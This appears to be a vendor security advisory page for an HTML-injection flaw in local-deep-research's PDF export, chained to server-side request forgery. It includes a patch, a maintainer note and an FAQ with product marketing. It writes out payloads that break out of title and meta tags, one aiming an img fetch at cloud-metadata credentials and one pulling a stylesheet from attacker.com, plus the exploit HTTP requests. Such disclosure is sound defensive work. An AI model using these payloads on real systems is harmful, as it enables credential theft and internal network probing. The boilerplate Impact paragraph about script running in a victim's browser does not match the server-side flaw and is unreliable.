CVE-2026-43979

CVE-2026-43979 is a medium-severity cross-site scripting (XSS) vulnerability in local-deep-research (pip), affecting versions < 1.6.0. It is fixed in 1.6.0.

Summary

PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values, specifically title (sourced from research.title or research.query) and metadata key-value pairs, directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py.

Details

Vulnerable code: src/local_deep_research/web/services/pdf_service.py, lines 171–176

# pdf_service.py:171-176
if title:
    html_parts.append(f"<title>{title}</title>")   # ← title is not escaped

if metadata:
    for key, value in metadata.items():
        html_parts.append(f'<meta name="{key}" content="{value}">')  # ← key/value are not escaped

Data flow trace:

User input: research.query
        │
        ▼
research_routes.py:1321
  pdf_title = research.title or research.query
        │
        ▼
research_routes.py:1325-1326
  export_report_to_memory(report_content, format, title=pdf_title)
        │
        ▼
pdf_service.py:107
  PDFService.markdown_to_pdf(markdown_content, title=pdf_title)
        │
        ▼
pdf_service.py:137
  _markdown_to_html(markdown_content, title, metadata)
        │
        ▼
pdf_service.py:172
  f"<title>{title}</title>"   ← injection point, no escaping
        │
        ▼
pdf_service.py:112
  HTML(string=html_content)   ← WeasyPrint renders the injected HTML

research.query is a string submitted by the user via POST /api/start_research, stored as-is in the database, and retrieved without any sanitization. When the user triggers POST /api/v1/research/<research_id>/export/pdf, this value is embedded unescaped into the HTML document processed by WeasyPrint.

Injection point 1: <title> tag breakout

Input:    </title><img src="http://169.254.169.254/latest/meta-data/" />
Rendered: <title></title><img src="http://169.254.169.254/latest/meta-data/" /></title>

When WeasyPrint encounters the injected <img> tag, it issues an HTTP GET request to the value of src by default.

Injection point 2: <meta> attribute breakout

Input:    " /><link rel="stylesheet" href="http://attacker.com/evil.css
Rendered: <meta name="..." content="" /><link rel="stylesheet" href="http://attacker.com/evil.css">

WeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF.

Proof of Concept

Step 1: Log in and submit a research query containing the injection payload

POST /api/start_research HTTP/1.1
Host: localhost:5000
Content-Type: application/json
Cookie: session=<valid_session>

{
  "query": "</title><img src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" onerror=\"x\"/>",
  "mode": "quick",
  "model_provider": "OLLAMA",
  "model": "llama3"
}

The response returns a research_id, e.g. "aaaa-bbbb-cccc-dddd".

Step 2: After the research completes, trigger PDF export

POST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1
Host: localhost:5000
Cookie: session=<valid_session>
X-CSRFToken: <csrf_token>

Step 3: Intermediate HTML constructed server-side

<!DOCTYPE html><html><head>
<meta charset="utf-8">
<title></title><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onerror="x"/></title>
</head><body>
...report content...
</body></html>

Step 4: WeasyPrint issues an outbound HTTP request to the injected URL

Observed in network monitoring (e.g. tcpdump) or the target internal service logs:

GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
User-Agent: WeasyPrint/...

Lightweight verification (no SSRF environment required):

Set the query to:

</title><title>INJECTED

The resulting HTML will contain two <title> tags and the PDF document metadata title will read INJECTED, confirming successful injection.

1. Chained SSRF (High Severity)

By injecting <img src>, <link href>, or <style>@import url() tags pointing to internal addresses, WeasyPrint will issue HTTP requests on behalf of the server during PDF generation. This allows access to:

  • Cloud metadata services (169.254.169.254) on AWS, GCP, or Azure, enabling theft of IAM credentials and instance identity documents.
  • Internal network services (192.168.x.x, 10.x.x.x), enabling reconnaissance and interaction with internal APIs not exposed to the internet.
  • Localhost administrative interfaces, if SSRF protections are only applied at the user-input validation layer.

This is an effective bypass of the application's existing SSRF defenses in ssrf_validator.py, because WeasyPrint's outbound resource requests are never routed through that validator.

2. HTML Document Structure Corruption

Injected tags can prematurely close <head> and insert arbitrary content into <body>, causing WeasyPrint to render incorrectly or crash, resulting in a Denial of Service (DoS) condition for the export functionality.

3. CSS Injection (Medium Severity)

By injecting <link> or <style> tags that load external stylesheets, an attacker can fully control the visual content of the generated PDF, enabling report content forgery or spoofing.

4. Affected Scope

  • All PDF export operations are affected.
  • The vulnerability is reachable by any authenticated user, no elevated privileges required.
  • Because each user operates against their own encrypted database, cross-user exploitation is not possible. However, on any shared or multi-tenant deployment, every authenticated user can independently trigger this vulnerability.

Maintainer note (2026-04-24)

Thanks @Firebasky for the detailed report. The complete remediation spans two PRs, both merged to main:

#3082 (merged 2026-03-29, shipped in v1.5.0+), closes the HTML-injection sinks:

  • html.escape() now wraps the title value in <title>…</title>
  • Same for metadata keys/values in <meta name="…" content="…">
  • Regression tests added in tests/web/services/test_pdf_service.py

#3613 (merged 2026-04-24, shipped in v1.6.0), implements the url_fetcher recommendation from the Remediation section:

  • New _safe_url_fetcher in pdf_service.py delegates to weasyprint.default_url_fetcher only after security.ssrf_validator.validate_url accepts the URL
  • Blocks AWS metadata (169.254.169.254), RFC1918, loopback, and non-http(s) schemes
  • Covers the chained SSRF path through any URL reaching the rendered HTML, markdown body, citations, raw-HTML passthrough via Python-Markdown
  • Blocked URLs raise UnsafePDFResourceURLError (a ValueError subclass) so WeasyPrint skips the resource and the render continues
  • 8 regression tests, including an end-to-end render with <img src="http://169.254.169.254/…"> embedded in the body

Advisory metadata: CVSS CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N (5.0 Moderate), CWEs CWE-79 + CWE-918. Patched in v1.6.0, upgrade to v1.6.0 or later to receive both fixes.

Impact

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-43979 has a CVSS score of 5.0 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.6.0); upgrading removes the vulnerable code path.

Affected versions

local-deep-research (< 1.6.0)

Security releases

local-deep-research → 1.6.0 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Apply html.escape() to all user-controlled values before embedding them in the HTML template inside _markdown_to_html:

import html

if title:
    html_parts.append(f"<title>{html.escape(title)}</title>")

if metadata:
    for key, value in metadata.items():
        html_parts.append(
            f'<meta name="{html.escape(str(key))}" content="{html.escape(str(value))}">'
        )

Additionally, consider configuring WeasyPrint with a custom url_fetcher that blocks or restricts outbound HTTP requests to prevent SSRF via injected or legitimately-embedded external resources:

def safe_url_fetcher(url, timeout=10):
    from ssrf_validator import validate_url
    if not validate_url(url):
        raise ValueError(f"Blocked unsafe URL in PDF rendering: {url}")
    return weasyprint.default_url_fetcher(url, timeout=timeout)

html_doc = HTML(string=html_content, url_fetcher=safe_url_fetcher)

Report generated against commit f3540fb3, local-deep-research, branch main.

Frequently Asked Questions

  1. What is CVE-2026-43979? CVE-2026-43979 is a medium-severity cross-site scripting (XSS) vulnerability in local-deep-research (pip), affecting versions < 1.6.0. It is fixed in 1.6.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
  2. How severe is CVE-2026-43979? CVE-2026-43979 has a CVSS score of 5.0 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of local-deep-research are affected by CVE-2026-43979? local-deep-research (pip) versions < 1.6.0 is affected.
  4. Is there a fix for CVE-2026-43979? Yes. CVE-2026-43979 is fixed in 1.6.0. Upgrade to this version or later.
  5. Is CVE-2026-43979 exploitable, and should I be worried? Whether CVE-2026-43979 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-43979 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-43979? Upgrade local-deep-research to 1.6.0 or later.

Other vulnerabilities in local-deep-research

CVE-2026-46526CVE-2025-67743CVE-2025-57806

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